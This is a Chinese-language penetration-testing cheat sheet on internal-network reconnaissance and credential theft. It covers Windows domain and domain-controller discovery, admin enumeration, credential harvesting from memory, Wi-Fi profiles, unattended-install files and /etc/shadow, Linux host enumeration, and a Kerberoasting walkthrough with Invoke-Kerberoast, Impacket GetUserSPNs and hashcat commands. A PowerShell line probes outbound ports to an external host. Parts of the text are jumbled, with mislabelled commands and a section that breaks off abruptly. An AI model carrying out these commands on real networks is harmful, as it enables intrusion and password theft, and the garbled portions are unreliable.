信息收集
当系统为win10或2012以上时,默认在Wdigest内存中禁止保存明文密码(hash可以抓到)
域环境判断和域控定位
# 是否存在域:
1 ipconfig /all
2 net view /domain # 如果加载出来了那么说明有域环境
3 net config workstation # 登录信息,会显示是工作组还是域环境
# 域控定位:
net time /domain # 这是因为域环境内的时间统一是根据域控的时间为准
nslookup # 追踪地址,找到域控的IP地址
dns服务器开放53端口,而dns服务器通常都在域控上,所以我们扫存活主机,再扫端口,找到开放53端口的主机IP地址
域控的名字通常是DC,DC-control,者是域名子域名类型(比如是baidu.com),其他的是fanyi.baidu.com
域控有Kerberos协议开放88端口
# 相关用户收集操作命令
收集这些是为了后期密码攻击
whoami /all # 查看当前用户权限
net user # 查看本地用户
net user /domain # 查看域用户信息
net group /domain # 获取域用户组信息
wmic useraccount get /all # 涉及域用户详细信息
net group "Domain Admins" /domain # 查询域管理员账户
net group "Enterprise Admins" /domain # 查询管理员用户组
net group "Domain Controllers" /domain # 查询域控制器
凭据收集C:\Users\batma\AppData\Roaming
收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all)
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
windows信息收集
基本命令
- 主机名
hostname
- 查看配置及补丁信息
systeminfo
- 查看版本
ver
- 查看杀软
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
域信息
- 获取当前组的计算机名
net view
,网络发现net view /all
,查看所有域net view /domain
- 判断域控是否存在
ipconfig /all
systeminfo
net config workstation
- 定位域控
net time /domain
nslookup test.com //这里test.com是域控域名,通过ipconfig /all得到
nslookup -type=SRV _ldap._tcp //这里nslookup是解析地址,因为内网中dns服务器就在域控上
net time /domain //这里因为时间是和域控时间同步
此外作为域控,他的域名可能是DC,DC-control,父域名等,因为是dns服务器所以开放53端口,且kerberos协议开放88端口
用户信息
查看用户
whoami /priv
/whoami /user
用户特权信息
whoami /priv
查看当前权限
net localgroup administrators
查看在线用户
quser
/qwinsta
/query user
查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域
net config Workstation
ACL 信息
get-acl
网络信息
内网网段信息
网卡信息
ipconfig
外网出口
ARP表
arp -a
路由表
route print
监听的端口
netstat -ano
连接的端口
端口信息
Get-NetTCPConnection
hosts文件
主备 DNS
DNS缓存
ipconfig /displaydns``Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache
探测出网情况
powershell -c "1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect('allports.exposed',$)) $ } 2>$null"
防火墙
- 查看防火墙状态
netsh advfirewall show allprofiles
- 防火墙日志目录
netsh firewall show logging
- 防火墙规则
netsh advfirewall firewall show rule name=all
netsh firewall show config
netsh firewall show state
密码信息
Windows RDP连接记录
浏览器中保存的账号密码
系统密码管理器中的各种密码
无人值守安装文件中的密码信息
C:\sysprep.inf``C:\sysprep\sysprep.xml``C:\Windows\Panther\Unattend\Unattended.xml``C:\Windows\Panther\Unattended.xml
票据信息
cmdkey /l
- klist
- msf meterpreter
特殊文件
文档
xlsx / xlsdocx / docpptx / pptvsdx / vsdmd / txt
压缩文件
zip / rar / 7z
VPN配置
ovpn
代码
py / php / jsp / aspx / asp / sql
配置文件
conf / ini / xml
特定关键字
账号 / 账户 / 登录 / login / user密码 / pass代码 / 文档 / 交接 / 备份 / git / svn邮箱 / 通讯录 / 集群 / 办公代理 / 内网 / VPN设备 / 资产系统 / 运维 / 拓扑 / 网络 / IT后台 / 管理员 / 数据库监控 / 隔离 / 防火墙 / 网闸 / 巡检
局域网存活主机
- NetBIOS扫描
- OXID扫描
其他
启用的共享文件夹
回收站
最近运行的命令
访问文件历史记录
查看补丁安装情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
日志与事件信息
wevtutil``eventvwr
注册表信息
reg
安装的各类 agent 监控软件
安装的杀毒软件
查看/设置后缀关联
assoc``assoc .ext=example
PowerShell 版本
.Net 版本
Wi-Fi 密码
linux信息收集
获取内核,操作系统和设备信息
版本信息
uname -a
所有版本uname -r
内核版本信息uname -n
系统主机名字uname -m
Linux内核架构
内核信息
cat /proc/version
CPU信息
cat /proc/cpuinfo
发布信息
cat /etc/*-release``cat /etc/issue
主机名
hostname
文件系统
df -a
内核日志
dmesg
//var/log/dmesg
用户和组
列出系统所有用户
cat /etc/passwd
列出系统所有组
cat /etc/group
列出所有用户hash(root)
cat /etc/shadow
用户
查询用户的基本信息
finger
当前登录的用户users
who -a
/var/log/utmp
查询无密码用户grep 'x:0:' /etc/passwd
目前登录的用户
w
登入过的用户信息
last
//var/log/wtmp
显示系统中所有用户最近一次登录信息
lastlog
//var/log/lastlog
登录成功日志
/var/log/secure
登录失败日志
/var/log/faillog
查看特权用户
grep :0 /etc/passwd
查看passwd最后修改时间
ls -l /etc/passwd
查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
用户和权限信息
- 当前用户
whoami
- 当前用户信息
id
- 可以使用sudo提升到root的用户(root)
cat /etc/sudoers
- 列出目前用户可执行与无法执行的指令
sudo -l
环境信息
- 打印系统环境信息
env
- 打印系统环境信息
set
- 环境变量中的路径信息
echo $PATH
- 打印历史命令
history
/~/.bash_history
- 显示当前路径
pwd
- 显示默认系统遍历
cat /etc/profile
- 显示可用的shell
cat /etc/shells
进程信息
- 查看进程信息
ps aux
- 资源占有情况
top -c
- 查看进程关联文件
lsof -c $PID
- 完整命令行信息
/proc/$PID/cmdline
- 进程的命令名
/proc/$PID/comm
- 进程当前工作目录的符号链接
/proc/$PID/cwd
- 运行程序的符号链接
/proc/$PID/exe
- 进程的环境变量
/proc/$PID/environ
- 进程打开文件的情况
/proc/$PID/fd
服务信息
- 由inetd管理的服务列表
cat /etc/inetd.conf
- 由xinetd管理的服务列表
cat /etc/xinetd.conf
- nfs服务器的配置
cat /etc/exports
- 邮件信息
/var/log/mailog
- ssh配置
sshd_config
计划任务
- 显示
信息收集
SPN探针
SPN扫描不需要连接到域内网络上的每个IP即可检查服务端口。SPN扫描通过对域控制器的LDAP查询执行服务发现。由于SPN查询是正常Kerberos票证行为的一部分,因此即使是攻击者,检测也很难发现是善意还是恶意的查询,而network端口扫描非常明显。
SPN 格式与配置
<serviceclass>/<host>:<port>/<service name>
<service class>:标识服务类的字符串
<host>:服务所在主机名称
<port>:服务端口
<service name>:服务名称
例:
为 SQL Server 服务帐户注册SPN
手动注册:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
对应的命名实例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
如果我想把域中一台主机Srv-DB-0day中的 MSSQL 服务注册到 SPN 中则可以使用命令:
setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin
可以通过下面两个命令来查看已经注册的 SPN。
setspn -q */*
setspn -T 0day.org -q */*
SPN扫描
Discover-PSMSSQLServers: 是 Powershell-AD-Recon 工具集中的一个工具,用来查询已经注册了的 MSSQL 类型的 SPN。
GetUserSPNs.ps1: 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN
PowerView.ps1: 在 Powersploit 和 Empire 工具里都有集成,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
LDAP
LDAP 协议全称是 LightweightDirectory Access Protocol,一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。
LDAP 数据的组织方式:
更直观的说可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。
在域控中默认安装了 ADSI 编辑器,全称 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一种 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开(服务器上都有,但是只有域控中的有整个域内的配置信息)。
通过 adsiedit.msc 我们可以修改和编辑 LADP,在 SPN 查询时实际上就是查询 LADP 中存储的内容。
kerberoasting
攻击方式1
如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,然后破解得到密码
在 TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码
- 首先用SPN扫描
- 根据扫描出的结果使用微软提供的类 Kerberos Requestor Security Token 发起 kerberos 请求,申请 ST 票据
PS C:\> Add-Type -AssemblyNameSystem.IdentityModel
PS C:\> New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList"MSSQLSvc/s2:1433"
可以看到这个过程通过AS-REQ、AS-REP、TGS-REQ、TGS-REP这四个认证流程,获取到 RC4 方式加密的票据
- Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据
这里可以借助 mimikatz 导出,使用 kerberoast 工具集中的 tgsrepcrack.py 工具进行离线爆破,成功得到 tsvc 账号的密码 admin1234!
攻击方式2
Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据,Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。
使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
使用 HASHCAT 工具进行破解
PSC:> hashcat64.exe –m 13100 test1.txt password.list --force
Impacket 进行Kerberoasting
这里要用到impacket工具包,该工具包用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。这里我们使用的是GetUserSPNs工具,可使用该工具对目标主机进行SPN探测
https://github.com/SecureAuthCorp/impacket 官方仓库https://github.com/maaaaz/impacket-examples-windows 有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作
命令
python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户
hashcat64.exe –m 13100 test1.txt password.list --force